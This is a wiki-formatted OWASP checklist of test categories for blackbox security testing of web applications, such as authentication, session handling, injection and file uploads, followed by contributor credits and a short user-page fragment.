This cheat sheet provides a checklist of tasks to be performed when performing a blackbox security test of a web application.<br />
<br />
= Purpose =<br />
<br />
This checklist is intended to be used as an aide memoire for experienced pentesters and should be used in conjunction with the [[:Category:OWASP Testing Project|OWASP Testing Guide]]. It will be updated as the [[OWASP_Application_Testing_guide_v4|Testing Guide v4]] is progressed.<br />
<br />
The intention is that this guide will be available as an XML document, with scripts that convert it into formats such as pdf, Media Wiki markup, HTML etc. <br />
<br />
This will allow it to be consumed within security tools as well as being available in a format suitable for printing.<br />
<br />
All feedback or offers of help will be appreciated - and if you have specific chances you think should be made, just get stuck in.<br />
<br />
= The Checklist =<br />
<br />
== Information Gathering ==<br />
* Manually explore the site<br />
* Spider/crawl for missed or hidden content<br />
* Check for files that expose content, such as robots.txt, sitemap.xml, .DS_Store<br />
* Check the caches of major search engines for publicly accessible sites<br />
* Check for differences in content based on User Agent (eg, Mobile sites, access as a Search engine Crawler)<br />
* Perform Web Application Fingerprinting<br />
* Identify technologies used<br />
* Identify user roles<br />
* Identify application entry points<br />
* Identify client-side code<br />
* Identify multiple versions/channels (e.g. web, mobile web, mobile app, web services)<br />
* Identify co-hosted and related applications<br />
* Identify all hostnames and ports<br />
* Identify third-party hosted content<br />
<br />
== Configuration Management ==<br />
* Check for commonly used application and administrative URLs<br />
* Check for old, backup and unreferenced files<br />
* Check HTTP methods supported and Cross Site Tracing (XST)<br />
* Test file extensions handling<br />
* Test for security HTTP headers (e.g. CSP, X-Frame-Options, HSTS)<br />
* Test for policies (e.g. Flash, Silverlight, robots)<br />
* Test for non-production data in live environment, and vice-versa<br />
* Check for sensitive data in client-side code (e.g. API keys, credentials)<br />
<br />
== Secure Transmission ==<br />
* Check SSL Version, Algorithms, Key length<br />
* Check for Digital Certificate Validity (Duration, Signature and CN)<br />
* Check credentials only delivered over HTTPS<br />
* Check that the login form is delivered over HTTPS<br />
* Check session tokens only delivered over HTTPS<br />
* Check if HTTP Strict Transport Security (HSTS) in use<br />
<br />
== Authentication ==<br />
* Test for user enumeration<br />
* Test for authentication bypass<br />
* Test for bruteforce protection<br />
* Test password quality rules<br />
* Test remember me functionality<br />
* Test for autocomplete on password forms/input <br />
* Test password reset and/or recovery<br />
* Test password change process<br />
* Test CAPTCHA<br />
* Test multi factor authentication<br />
* Test for logout functionality presence<br />
* Test for cache management on HTTP (eg Pragma, Expires, Max-age)<br />
* Test for default logins<br />
* Test for user-accessible authentication history<br />
* Test for out-of channel notification of account lockouts and successful password changes<br />
* Test for consistent authentication across applications with shared authentication schema / SSO<br />
<br />
== Session Management ==<br />
* Establish how session management is handled in the application (eg, tokens in cookies, token in URL)<br />
* Check session tokens for cookie flags (httpOnly and secure)<br />
* Check session cookie scope (path and domain)<br />
* Check session cookie duration (expires and max-age)<br />
* Check session termination after a maximum lifetime<br />
* Check session termination after relative timeout<br />
* Check session termination after logout<br />
* Test to see if users can have multiple simultaneous sessions<br />
* Test session cookies for randomness<br />
* Confirm that new session tokens are issued on login, role change and logout<br />
* Test for consistent session management across applications with shared session management<br />
* Test for session puzzling<br />
* Test for CSRF and clickjacking<br />
<br />
== Authorization ==<br />
* Test for path traversal<br />
* Test for bypassing authorization schema<br />
* Test for vertical Access control problems (a.k.a. Privilege Escalation)<br />
* Test for horizontal Access control problems (between two users at the same privilege level)<br />
* Test for missing authorization<br />
<br />
== Data Validation ==<br />
* Test for Reflected Cross Site Scripting<br />
* Test for Stored Cross Site Scripting<br />
* Test for DOM based Cross Site Scripting<br />
* Test for Cross Site Flashing<br />
* Test for HTML Injection<br />
* Test for SQL Injection<br />
* Test for LDAP Injection<br />
* Test for ORM Injection<br />
* Test for XML Injection<br />
* Test for XXE Injection<br />
* Test for SSI Injection<br />
* Test for XPath Injection<br />
* Test for XQuery Injection<br />
* Test for IMAP/SMTP Injection<br />
* Test for Code Injection<br />
* Test for Command Injection<br />
* Test for Overflow (Stack, Heap and Integer)<br />
* Test for Format String<br />
* Test for incubated vulnerabilities<br />
* Test for HTTP Splitting/Smuggling<br />
* Test for HTTP Verb Tampering<br />
* Test for Open Redirection<br />
* Test for Local File Inclusion<br />
* Test for Remote File Inclusion<br />
* Compare client-side and server-side validation rules<br />
* Test for NoSQL injection<br />
* Test for HTTP parameter pollution<br />
* Test for auto-binding<br />
* Test for Mass Assignment<br />
* Test for NULL/Invalid Session Cookie<br />
<br />
== Denial of Service ==<br />
* Test for anti-automation<br />
* Test for account lockout<br />
* Test for HTTP protocol DoS<br />
* Test for SQL wildcard DoS<br />
<br />
== Business Logic ==<br />
* Test for feature misuse<br />
* Test for lack of non-repudiation<br />
* Test for trust relationships<br />
* Test for integrity of data<br />
* Test segregation of duties<br />
<br />
== Cryptography ==<br />
* Check if data which should be encrypted is not<br />
* Check for wrong algorithms usage depending on context<br />
* Check for weak algorithms usage<br />
* Check for proper use of salting<br />
* Check for randomness functions<br />
<br />
== Risky Functionality - File Uploads ==<br />
* Test that acceptable file types are whitelisted<br />
* Test that file size limits, upload frequency and total file counts are defined and are enforced<br />
* Test that file contents match the defined file type<br />
* Test that all file uploads have Anti-Virus scanning in-place.<br />
* Test that unsafe filenames are sanitised<br />
* Test that uploaded files are not directly accessible within the web root<br />
* Test that uploaded files are not served on the same hostname/port<br />
* Test that files and other media are integrated with the authentication and authorisation schemas<br />
<br />
== Risky Functionality - Card Payment ==<br />
* Test for known vulnerabilities and configuration issues on Web Server and Web Application<br />
* Test for default or guessable password<br />
* Test for non-production data in live environment, and vice-versa<br />
* Test for Injection vulnerabilities <br />
* Test for Buffer Overflows<br />
* Test for Insecure Cryptographic Storage<br />
* Test for Insufficient Transport Layer Protection<br />
* Test for Improper Error Handling<br />
* Test for all vulnerabilities with a CVSS v2 score > 4.0<br />
* Test for Authentication and Authorization issues<br />
* Test for CSRF<br />
<br />
== HTML 5==<br />
* Test Web Messaging<br />
* Test for Web Storage SQL injection<br />
* Check CORS implementation<br />
<br />
= Other Formats =<br />
<br />
* Current cheat sheet in DradisPro template format [https://github.com/raesene/OWASP_Web_App_Testing_Cheatsheet_Converter/blob/master/OWASP_Web_Application_Testing_Cheat_Sheet.xml on github]<br />
<br />
= Authors and primary contributors =<br />
<br />
[[User:Simon Bennetts|Simon Bennetts]]<br/><br />
[[User:Raesene|Rory McCune]] <br/><br />
Colin Watson<br/><br />
Simone Onofri<br/><br />
<br />
All the authors of theTesting Guide v3<br />
<br />
= Other Contributors =<br />
<br />
[[User:Ryan_Dewhurst|Ryan Dewhurst]] <br />
<br />
= Related articles =<br />
<br />
OWASP [[:Category:OWASP Testing Project|Testing Guide]]<br />
<br />
Mozilla [https://wiki.mozilla.org/WebAppSec/Web_Security_Verification Web Security Verification]<br />
<br />
{{Cheatsheet_Navigation}}<br />
<br />
[[Category:Cheatsheets]] [[Category:OWASP_Breakers]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=User:Ryan_Dewhurst&diff=148185User:Ryan Dewhurst2013-03-19T22:25:28Z<p>Ryan Dewhurst: </p>
<hr />
<div>==Wiki Contributions==<br />
To see Ryan's wiki contributions, [[:Special:Contributions/Ryan_Dewhurst|click here]].<br />
<br />
== Contact ==<br />
[http://www.dewhurstsecurity.com/ Dewhurst Security]</div>Ryan Dewhurst